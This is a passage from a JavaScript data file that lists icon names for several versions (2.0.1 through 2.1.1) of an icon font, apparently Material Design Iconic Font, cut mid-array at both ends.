rk","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power-input","present-to-all","print","puzzle-piece","radio","reader","receipt","redo","refresh","refresh-alt","refresh-sync","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","rotate-left","rotate-right","router","ruler","satellite","scanner","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","stop","storage","sun","surround-sound","swap","swap-alt","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","tune","tv","tv-list","tv-play","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","voicemail","volume-down","volume-mute","volume-off","volume-up","wallpaper","watch","wb-auto","widgets","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.0.1",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplay","alarm","alarm-check","alarm-off","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","apps","archive","arrow-merge","arrow-missed","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-unknown","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","book","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","cake","calendar","calendar-alt","calendar-check","calendar-note","camera","camera-add","camera-alt","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-up","case","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","code","code-setting","code-smartphone","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-image","comment-list","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","edit","eject","eject-alt","email","email-open","equalizer","explicit","exposure","exposure-alt","eye","eye-off","face","fast-forward","fast-rewind","favorite","favorite-outline","file","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","flower","folder","folder-outline","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gesture","gif","globe","globe-alt","globe-lock","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hotel","hourglass","hourglass-outline","hq","http","image","image-alt","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","invert-colors","invert-colors-off","key","keyboard","keyboard-hide","label","label-heart","labels","landscape","laptop","laptop-chromebook","laptop-mac","layers","leak","link","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-left","long-arrow-return","long-arrow-tab","looks","loupe","mail-reply","mail-reply-all","mail-send","male","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-off","mood","mood-bad","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","pause","pause-circle","pause-circle-outline","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","plaster","play","play-circle","play-circle-outline","play-for-work","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power-input","present-to-all","print","puzzle-piece","radio","reader","receipt","redo","refresh","refresh-alt","refresh-sync","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","rotate-left","rotate-right","router","ruler","satellite","scanner","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","stop","storage","sun","surround-sound","swap","swap-alt","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","tune","tv","tv-list","tv-play","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","voicemail","volume-down","volume-mute","volume-off","volume-up","wallpaper","watch","wb-auto","widgets","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.0.2",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplay","alarm","alarm-check","alarm-off","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","apps","archive","arrow-merge","arrow-missed","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-unknown","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","book","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","cake","calendar","calendar-alt","calendar-check","calendar-note","camera","camera-add","camera-alt","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-up","case","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","code","code-setting","code-smartphone","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-image","comment-list","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","edit","eject","eject-alt","email","email-open","equalizer","explicit","exposure","exposure-alt","eye","eye-off","face","fast-forward","fast-rewind","favorite","favorite-outline","file","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","flower","folder","folder-outline","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gesture","gif","globe","globe-alt","globe-lock","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hotel","hourglass","hourglass-outline","hq","http","image","image-alt","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","invert-colors","invert-colors-off","key","keyboard","keyboard-hide","label","label-heart","labels","landscape","laptop","laptop-chromebook","laptop-mac","layers","leak","link","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-left","long-arrow-return","long-arrow-tab","looks","loupe","mail-reply","mail-reply-all","mail-send","male","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-off","mood","mood-bad","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","pause","pause-circle","pause-circle-outline","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","plaster","play","play-circle","play-circle-outline","play-for-work","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power-input","present-to-all","print","puzzle-piece","radio","reader","receipt","redo","refresh","refresh-alt","refresh-sync","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","rotate-left","rotate-right","router","ruler","satellite","scanner","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","stop","storage","sun","surround-sound","swap","swap-alt","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","tune","tv","tv-list","tv-play","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","voicemail","volume-down","volume-mute","volume-off","volume-up","wallpaper","watch","wb-auto","widgets","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.1.0",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitter","twitter-box","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","zero","zoom-in","zoom-out"]
},{version:"2.1.1",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-al